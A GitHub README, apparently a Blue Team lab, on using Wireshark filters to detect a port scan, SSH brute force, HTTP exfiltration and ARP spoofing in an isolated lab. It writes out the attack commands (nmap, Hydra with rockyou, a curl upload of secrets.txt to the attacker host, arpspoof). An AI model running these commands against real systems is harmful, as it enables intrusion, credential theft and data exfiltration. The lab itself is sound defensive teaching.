ruancarlosrc/wireshark-traffic-analysis-lab

GitHub: ruancarlosrc/wireshark-traffic-analysis-lab

一个基于 Wireshark 的网络流量分析实践实验室,涵盖端口扫描、SSH 暴力破解、HTTP 数据渗出和 ARP 欺骗四个攻击场景的检测与 IOC 提取。

Stars: 0 | Forks: 0

# 🦈 Wireshark — 流量捕获与分析 | 异常检测 使用 Wireshark 进行网络流量分析的实践实验室,涵盖实时捕获、显示过滤器以及在隔离环境中检测 4 个真实攻击场景。 ## 🖥️ 实验室拓扑 ``` ┌─────────────────────┐ Host-Only Network ┌─────────────────────┐ │ Kali Linux │ 192.168.56.0/24 (vboxnet0) │ Windows 10 │ │ 192.168.56.104 │ ◄──────────────────────────────► │ 192.168.56.105 │ │ (atacante) │ │ (alvo) │ └─────────────────────┘ └─────────────────────┘ ``` | 机器 | 操作系统 | IP | 角色 | |---|---|---|---| | Kali Linux 2025.4 | 基于 Debian | 192.168.56.104 | 攻击者 / 分析师 | | Windows 10 | Windows | 192.168.56.105 | 目标 | ## 🛠️ 使用的工具 | 工具 | 版本 | 用途 | |---|---|---| | Wireshark | 4.x | 数据包捕获与分析 | | nmap | 7.x | 端口扫描 | | Hydra | 9.6 | SSH 暴力破解 | | arpspoof (dsniff) | 2.4 | ARP 欺骗 / MitM | | Python3 http.server | 3.x | 用于接收数据渗出的 HTTP 服务器 | ## 📋 使用的显示过滤器 | 过滤器 | 用途 | |---|---| | `icmp` | 隔离 ICMP 流量 (ping sweep) | | `tcp.flags.syn==1 && tcp.flags.ack==0` | 检测 SYN 扫描 / 端口扫描 | | `tcp.flags.syn==1 && tcp.flags.ack==1` | 识别开放端口 (SYN-ACK) | | `tcp.flags.reset==1` | 主动响应为关闭的端口 | | `tcp.port == 22` | 隔离 SSH 流量 | | `ssh` | 查看 SSHv2 会话 | | `http.request.method == "POST"` | 检测上传 / HTTP 数据渗出 | | `arp` | 检测 ARP 欺骗 / gratuitous ARP | ## 🔬 检测场景 ### 场景 1 — 端口扫描 (nmap SYN Scan) **目标:** 识别网络流量中的端口扫描特征。 **使用的命令:** ``` sudo nmap -sS 192.168.56.105 sudo nmap -sS -p 3389 192.168.56.105 ``` **应用的过滤器:** ``` tcp.flags.syn==1 && tcp.flags.ack==0 ``` **证据:** ![端口扫描 — nmap 生成的 SYN 数据包](https://raw.githubusercontent.com/ruancarlosrc/wireshark-traffic-analysis-lab/main/pacotes_SYN_gerados_pelo_scann_do__nmap.png) ![带 RST 的端口 — 主动响应为关闭](https://raw.githubusercontent.com/ruancarlosrc/wireshark-traffic-analysis-lab/main/portas_em_que_o_windows_respondeu_ativamente_como_fechadas.png) **识别到的 IOC:** | 字段 | 值 | |---|---| | 源 IP | 192.168.56.104 (Kali) | | 目标 IP | 192.168.56.105 (Windows) | | 模式 | 在短时间内向不同端口连续发送约 1000 个 SYN 数据包 | | 检测到的开放端口 | 3389 (RDP) — 响应 SYN-ACK | | 带 RST 的端口 | 7 个端口主动响应为关闭 | | 其余 | 静默 — 被防火墙丢弃 (filtered) | **分析:** SYN 扫描向每个端口发送一个 SYN,而不完成 TCP 握手。在短时间内,来自同一源 IP 针对顺序或随机端口发送数百个 SYN 的模式是扫描的主要特征。在 SIEM 中,阈值规则(例如:同一 IP >100 SYN/秒)将立即触发警报。 ### 场景 2 — SSH 暴力破解 (Hydra) **目标:** 检测针对 22 端口的自动化暴力破解身份验证尝试。 **使用的命令:** ``` hydra -l administrator -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.105 -t 4 ``` **应用的过滤器:** ``` tcp.port == 22 ssh ``` **证据:** ![在 22 端口捕获到的暴力破解数据包](https://raw.githubusercontent.com/ruancarlosrc/wireshark-traffic-analysis-lab/main/captura_de_pacotes_de_brute_force_no_ssh_windows.png) ![IO Graph — 攻击期间持续的 SSH 流量峰值](https://raw.githubusercontent.com/ruancarlosrc/wireshark-traffic-analysis-lab/main/IO_graphics_do_brute_force.png) **识别到的 IOC:** | 字段 | 值 | |---|---| | 源 IP | 192.168.56.104 (Kali) | | 目标 IP | 192.168.56.105:22 (Windows) | | 模式 | 几分钟内在 22 端口发起 1800+ 个不同的 TCP 连接 | | 流量 | 捕获了 80,000+ 个 SSH 数据包 | | IO Graph | 持续 600+ 秒保持 150–200 个数据包/秒的恒定峰值 | | 内容 | 加密数据包 — 凭据不可见,但巨大的流量暴露了攻击 | **分析:** SSHv2 对内容进行加密,使得测试的密码不可见。然而,22 端口上快速打开和关闭的 TCP 连接的容量和频率足以用于检测。IO Graph 显示了一个均匀且持续的峰值 — 这在合法使用中是不可能的模式。检测规则:同一 IP 在 Y 秒内发起 >X 次 SSH 连接。 ### 场景 3 — 通过 HTTP 进行数据渗出 **目标:** 拦截通过明文 HTTP 协议传输的敏感数据。 **使用的命令:** ``` # Kali — 接收服务器 python3 -m http.server 8080 ``` ``` # Windows — 文件发送(模拟 exfiltration) curl -Method Post -Uri "http://192.168.56.104:8080" -InFile "C:\Users\Public\secrets.txt" ``` **应用的过滤器:** ``` http.request.method == "POST" ``` **证据:** ![通过 Follow TCP Stream 捕获的凭据](https://raw.githubusercontent.com/ruancarlosrc/wireshark-traffic-analysis-lab/main/credenciais_capturadas.png) **识别到的 IOC:** | 字段 | 值 | |---|---| | 源 IP | 192.168.56.105 (Windows — 受害者) | | 目标 IP | 192.168.56.104:8080 (Kali — 攻击者服务器) | | 协议 | 明文 HTTP POST (无加密) | | 拦截到的内容 | `usuario: admin \| senha: P@ssw0rd123 \| servidor: 192.168.56.105` | | 分析技术 | Follow → TCP Stream | **分析:** 任何通过纯 HTTP 传输的数据对于任何处于捕获位置的主机在网络中都是完全可见的。使用 **Follow TCP Stream** 重构了完整的会话,揭示了明文凭据。在真实环境中,敏感数据必须仅通过 HTTPS/TLS 传输。检测基于异常的目标、非标准端口 (8080) 以及带有非标准 payload 的 POST 方法。 ### 场景 4 — ARP 欺骗 (MitM) **目标:** 检测旨在实现中间人 (Man-in-the-Middle) 定位的 ARP 表中毒。 **使用的命令:** ``` sudo arpspoof -i eth0 -t 192.168.56.105 192.168.56.1 ``` **应用的过滤器:** ``` arp ``` **证据:** ![高频 ARP Replies — arpspoof 的特征](https://raw.githubusercontent.com/ruancarlosrc/wireshark-traffic-analysis-lab/main/alta_frequencia_de_protocolos_arp_capturados.png) ![ARP 数据包分析 — Sender MAC vs Sender IP](https://raw.githubusercontent.com/ruancarlosrc/wireshark-traffic-analysis-lab/main/analise_de_pacote_gereado_pelo_arpspoof.png) **识别到的 IOC:** | 字段 | 值 | |---|---| | 源 IP | 192.168.56.104 (Kali) | | 目标 | 192.168.56.105 (Windows) | | Sender MAC | 08:00:27:63:b0:05 (Kali 的 MAC) | | 伪造的 Sender IP | 192.168.56.1 (网络网关) | | 模式 | 每 ~2 秒发送一次未经请求的 ARP Replies | | 后果 | Windows 更新 ARP 表 — 所有发往网关的流量都经过 Kali | **分析:** ARP 没有身份验证机制。arpspoof 重复发送无偿的(未经请求的)ARP Replies,将 Kali 的 MAC 与网关的 IP 关联起来。当 Windows 接受此关联时,它开始将所有发往网关的流量首先发送给 Kali — 典型的 MitM 位置。在 Wireshark 中的检测基于矛盾点:同一个 MAC 响应不同的 IP,或者同一个 IP 在序列中被不同的 MAC 宣告。 ## 📊 IOC 汇总 | 场景 | 协议 | 关键过滤器 | 检测到的模式 | |---|---|---|---| | 端口扫描 | TCP | `tcp.flags.syn==1 && tcp.flags.ack==0` | 几秒内针对不同端口的 1000+ 个 SYN | | SSH 暴力破解 | TCP/SSHv2 | `tcp.port == 22` | 几分钟内在 22 端口上的 1800+ 个连接 | | HTTP 数据渗出 | HTTP | `http.request.method == "POST"` | POST 到外部 IP,明文凭据 | | ARP 欺骗 | ARP | `arp` | 未经请求的 Replies,伪造网关的 MAC | ## 📁 收集的证据 | 文件 | 场景 | |---|---| | `captura_de_pacotes_icmp_com_o_wireshark.png` | 阶段 2 — 基础 ICMP 捕获 | | `estatisticas_de_protocolos.png` | 阶段 2 — Protocol Hierarchy | | `pacotes_SYN_gerados_pelo_scann_do__nmap.png` | 场景 1 — 端口扫描 | | `portas_em_que_o_windows_respondeu_ativamente_como_fechadas.png` | 场景 1 — RST | | `captura_de_pacotes_de_brute_force_no_ssh_windows.png` | 场景 2 — 暴力破解 | | `IO_graphics_do_brute_force.png` | 场景 2 — IO Graph | | `credenciais_capturadas.png` | 场景 3 — 数据渗出 | | `alta_frequencia_de_protocolos_arp_capturados.png` | 场景 4 — ARP 欺骗 | | `analise_de_pacote_gereado_pelo_arpspoof.png` | 场景 4 — ARP 数据包详情 | ## 🎯 主要心得 - Wireshark 的显示过滤器允许在海量捕获中快速隔离恶意流量 - 即使内容已加密 (SSH 暴力破解),连接的数量和频率也会暴露自动化攻击 - 没有 TLS 的 HTTP 会完全暴露凭据 — Follow TCP Stream 可重构整个会话 - ARP 没有原生的身份验证 — 网络上的任何主机都可以毫无阻碍地毒化 ARP 表 - Statistics → IO Graph 和 Conversations 是识别容量异常最快的工具 ## 🔗 参考 - [Wireshark 显示过滤器](https://wiki.wireshark.org/DisplayFilters) - [Wireshark 过滤器参考](https://www.wireshark.org/docs/dfref/) - [nmap SYN 扫描](https://nmap.org/book/synscan.html) - [THC Hydra](https://github.com/vanhauser-thc/thc-hydra) *此实验室作为 Blue Team/SOC 路线图的一部分开发 — 作品集见 [github.com/ruancarlosrc](https://github.com/ruancarlosrc)*
标签:PoC, Wireshark, 中间人攻击, 句柄查看, 插件系统, 暴力破解, 网络安全, 防御绕过, 隐私保护